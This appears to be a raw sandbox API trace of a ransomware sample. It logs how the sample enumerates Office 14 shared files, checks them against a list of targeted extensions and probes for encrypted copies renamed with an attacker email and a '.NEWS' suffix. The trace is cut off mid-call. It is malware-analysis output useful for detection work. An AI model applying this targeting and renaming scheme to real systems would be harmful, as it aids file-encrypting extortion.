1 [0218.548] lstrlenW (lpString=".bz2") returned 4 [0218.548] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0218.548] lstrlenW (lpString=".7z") returned 3 [0218.548] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0218.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.549] lstrlenW (lpString=".dbf") returned 4 [0218.549] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0218.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.549] lstrlenW (lpString=".1cd") returned 4 [0218.549] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0218.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.549] lstrlenW (lpString=".jpg") returned 4 [0218.549] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0218.551] lstrcmpiW (lpString1=".CAB", lpString2=".NEWS") returned -1 [0218.551] lstrlenW (lpString="MUAUTH.CAB") returned 10 [0218.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0218.566] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=6747) returned 1 [0218.566] CloseHandle (hObject=0x338) returned 1 [0218.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0218.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.605] lstrlenW (lpString=".doc") returned 4 [0218.605] lstrcmpiW (lpString1=".doc", lpString2=".CAB") returned 1 [0218.605] lstrlenW (lpString=".docx") returned 5 [0218.606] lstrcmpiW (lpString1=".docx", lpString2="H.CAB") returned -1 [0218.606] lstrlenW (lpString=".pdf") returned 4 [0218.606] lstrcmpiW (lpString1=".pdf", lpString2=".CAB") returned 1 [0218.606] lstrlenW (lpString=".xls") returned 4 [0218.606] lstrcmpiW (lpString1=".xls", lpString2=".CAB") returned 1 [0218.606] lstrlenW (lpString=".xlsx") returned 5 [0218.606] lstrcmpiW (lpString1=".xlsx", lpString2="H.CAB") returned -1 [0218.606] lstrlenW (lpString=".ppt") returned 4 [0218.606] lstrcmpiW (lpString1=".ppt", lpString2=".CAB") returned 1 [0218.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.606] lstrlenW (lpString=".zip") returned 4 [0218.607] lstrcmpiW (lpString1=".zip", lpString2=".CAB") returned 1 [0218.607] lstrlenW (lpString=".rar") returned 4 [0218.607] lstrcmpiW (lpString1=".rar", lpString2=".CAB") returned 1 [0218.607] lstrlenW (lpString=".bz2") returned 4 [0218.607] lstrcmpiW (lpString1=".bz2", lpString2=".CAB") returned -1 [0218.607] lstrlenW (lpString=".7z") returned 3 [0218.607] lstrcmpiW (lpString1=".7z", lpString2="CAB") returned -1 [0218.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.607] lstrlenW (lpString=".dbf") returned 4 [0218.607] lstrcmpiW (lpString1=".dbf", lpString2=".CAB") returned 1 [0218.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.607] lstrlenW (lpString=".1cd") returned 4 [0218.607] lstrcmpiW (lpString1=".1cd", lpString2=".CAB") returned -1 [0218.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.608] lstrlenW (lpString=".jpg") returned 4 [0218.608] lstrcmpiW (lpString1=".jpg", lpString2=".CAB") returned 1 [0218.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.615] lstrlenW (lpString=".doc") returned 4 [0218.616] lstrcmpiW (lpString1=".doc", lpString2=".CAB") returned 1 [0218.616] lstrlenW (lpString=".docx") returned 5 [0218.616] lstrcmpiW (lpString1=".docx", lpString2="H.CAB") returned -1 [0218.616] lstrlenW (lpString=".pdf") returned 4 [0218.616] lstrcmpiW (lpString1=".pdf", lpString2=".CAB") returned 1 [0218.616] lstrlenW (lpString=".xls") returned 4 [0218.616] lstrcmpiW (lpString1=".xls", lpString2=".CAB") returned 1 [0218.616] lstrlenW (lpString=".xlsx") returned 5 [0218.616] lstrcmpiW (lpString1=".xlsx", lpString2="H.CAB") returned -1 [0218.616] lstrlenW (lpString=".ppt") returned 4 [0218.616] lstrcmpiW (lpString1=".ppt", lpString2=".CAB") returned 1 [0218.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.617] lstrlenW (lpString=".zip") returned 4 [0218.617] lstrcmpiW (lpString1=".zip", lpString2=".CAB") returned 1 [0218.617] lstrlenW (lpString=".rar") returned 4 [0218.617] lstrcmpiW (lpString1=".rar", lpString2=".CAB") returned 1 [0218.617] lstrlenW (lpString=".bz2") returned 4 [0218.617] lstrcmpiW (lpString1=".bz2", lpString2=".CAB") returned -1 [0218.617] lstrlenW (lpString=".7z") returned 3 [0218.617] lstrcmpiW (lpString1=".7z", lpString2="CAB") returned -1 [0218.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.617] lstrlenW (lpString=".dbf") returned 4 [0218.617] lstrcmpiW (lpString1=".dbf", lpString2=".CAB") returned 1 [0218.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.618] lstrlenW (lpString=".1cd") returned 4 [0218.618] lstrcmpiW (lpString1=".1cd", lpString2=".CAB") returned -1 [0218.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0218.618] lstrlenW (lpString=".jpg") returned 4 [0218.618] lstrcmpiW (lpString1=".jpg", lpString2=".CAB") returned 1 [0218.620] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0218.621] lstrlenW (lpString="MUOPTIN.DLL") returned 11 [0218.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0218.623] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=24976) returned 1 [0218.623] CloseHandle (hObject=0x338) returned 1 [0218.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0218.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.625] lstrlenW (lpString=".doc") returned 4 [0218.625] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0218.625] lstrlenW (lpString=".docx") returned 5 [0218.625] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0218.625] lstrlenW (lpString=".pdf") returned 4 [0218.625] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0218.625] lstrlenW (lpString=".xls") returned 4 [0218.625] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0218.625] lstrlenW (lpString=".xlsx") returned 5 [0218.626] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0218.626] lstrlenW (lpString=".ppt") returned 4 [0218.626] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0218.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.626] lstrlenW (lpString=".zip") returned 4 [0218.626] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0218.626] lstrlenW (lpString=".rar") returned 4 [0218.626] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0218.626] lstrlenW (lpString=".bz2") returned 4 [0218.626] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0218.626] lstrlenW (lpString=".7z") returned 3 [0218.627] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0218.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.627] lstrlenW (lpString=".dbf") returned 4 [0218.627] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0218.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.627] lstrlenW (lpString=".1cd") returned 4 [0218.627] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0218.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.627] lstrlenW (lpString=".jpg") returned 4 [0218.628] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.630] lstrlenW (lpString=".doc") returned 4 [0218.630] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0218.630] lstrlenW (lpString=".docx") returned 5 [0218.630] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0218.631] lstrlenW (lpString=".pdf") returned 4 [0218.631] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0218.631] lstrlenW (lpString=".xls") returned 4 [0218.631] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0218.631] lstrlenW (lpString=".xlsx") returned 5 [0218.631] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0218.631] lstrlenW (lpString=".ppt") returned 4 [0218.631] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0218.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.631] lstrlenW (lpString=".zip") returned 4 [0218.631] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0218.631] lstrlenW (lpString=".rar") returned 4 [0218.631] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0218.632] lstrlenW (lpString=".bz2") returned 4 [0218.632] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0218.632] lstrlenW (lpString=".7z") returned 3 [0218.632] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0218.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.632] lstrlenW (lpString=".dbf") returned 4 [0218.632] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0218.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.632] lstrlenW (lpString=".1cd") returned 4 [0218.632] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0218.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0218.632] lstrlenW (lpString=".jpg") returned 4 [0218.633] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.633] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0218.633] lstrlenW (lpString="Oarpmany.exe") returned 12 [0218.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0218.637] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=232840) returned 1 [0218.637] CloseHandle (hObject=0x338) returned 1 [0219.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0219.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.764] lstrlenW (lpString=".doc") returned 4 [0219.764] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0219.764] lstrlenW (lpString=".docx") returned 5 [0219.764] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0219.764] lstrlenW (lpString=".pdf") returned 4 [0219.764] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0219.764] lstrlenW (lpString=".xls") returned 4 [0219.764] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0219.764] lstrlenW (lpString=".xlsx") returned 5 [0219.765] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0219.765] lstrlenW (lpString=".ppt") returned 4 [0219.765] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0219.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.765] lstrlenW (lpString=".zip") returned 4 [0219.765] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0219.765] lstrlenW (lpString=".rar") returned 4 [0219.765] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0219.766] lstrlenW (lpString=".bz2") returned 4 [0219.766] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0219.766] lstrlenW (lpString=".7z") returned 3 [0219.766] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0219.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.766] lstrlenW (lpString=".dbf") returned 4 [0219.766] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0219.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.766] lstrlenW (lpString=".1cd") returned 4 [0219.766] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0219.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.766] lstrlenW (lpString=".jpg") returned 4 [0219.767] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0219.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.767] lstrlenW (lpString=".doc") returned 4 [0219.767] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0219.767] lstrlenW (lpString=".docx") returned 5 [0219.767] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0219.767] lstrlenW (lpString=".pdf") returned 4 [0219.767] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0219.767] lstrlenW (lpString=".xls") returned 4 [0219.767] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0219.767] lstrlenW (lpString=".xlsx") returned 5 [0219.768] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0219.768] lstrlenW (lpString=".ppt") returned 4 [0219.768] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0219.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.768] lstrlenW (lpString=".zip") returned 4 [0219.768] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0219.768] lstrlenW (lpString=".rar") returned 4 [0219.768] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0219.768] lstrlenW (lpString=".bz2") returned 4 [0219.768] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0219.768] lstrlenW (lpString=".7z") returned 3 [0219.769] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.769] lstrlenW (lpString=".dbf") returned 4 [0219.769] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.769] lstrlenW (lpString=".1cd") returned 4 [0219.769] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0219.769] lstrlenW (lpString=".jpg") returned 4 [0219.769] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0219.770] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0219.770] lstrlenW (lpString="VBAJET32.DLL") returned 12 [0219.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0219.778] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=49488) returned 1 [0219.778] CloseHandle (hObject=0x324) returned 1 [0219.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll")) returned 0x20 [0219.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.790] lstrlenW (lpString=".doc") returned 4 [0219.790] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.790] lstrlenW (lpString=".docx") returned 5 [0219.791] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0219.791] lstrlenW (lpString=".pdf") returned 4 [0219.791] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.791] lstrlenW (lpString=".xls") returned 4 [0219.791] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.791] lstrlenW (lpString=".xlsx") returned 5 [0219.791] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0219.791] lstrlenW (lpString=".ppt") returned 4 [0219.791] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.791] lstrlenW (lpString=".zip") returned 4 [0219.791] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.791] lstrlenW (lpString=".rar") returned 4 [0219.792] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.792] lstrlenW (lpString=".bz2") returned 4 [0219.792] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.792] lstrlenW (lpString=".7z") returned 3 [0219.792] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.792] lstrlenW (lpString=".dbf") returned 4 [0219.792] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.792] lstrlenW (lpString=".1cd") returned 4 [0219.792] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.792] lstrlenW (lpString=".jpg") returned 4 [0219.793] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.793] lstrlenW (lpString=".doc") returned 4 [0219.793] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.793] lstrlenW (lpString=".docx") returned 5 [0219.793] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0219.793] lstrlenW (lpString=".pdf") returned 4 [0219.793] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.793] lstrlenW (lpString=".xls") returned 4 [0219.794] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.794] lstrlenW (lpString=".xlsx") returned 5 [0219.794] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0219.794] lstrlenW (lpString=".ppt") returned 4 [0219.794] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.794] lstrlenW (lpString=".zip") returned 4 [0219.794] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.794] lstrlenW (lpString=".rar") returned 4 [0219.794] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.794] lstrlenW (lpString=".bz2") returned 4 [0219.794] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.795] lstrlenW (lpString=".7z") returned 3 [0219.795] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.795] lstrlenW (lpString=".dbf") returned 4 [0219.795] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.795] lstrlenW (lpString=".1cd") returned 4 [0219.795] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0219.795] lstrlenW (lpString=".jpg") returned 4 [0219.795] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.796] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0219.796] lstrlenW (lpString="WISC30.DLL") returned 10 [0219.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0219.798] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=147344) returned 1 [0219.799] CloseHandle (hObject=0x324) returned 1 [0219.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll")) returned 0x20 [0219.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.800] lstrlenW (lpString=".doc") returned 4 [0219.800] lstrcmpiW 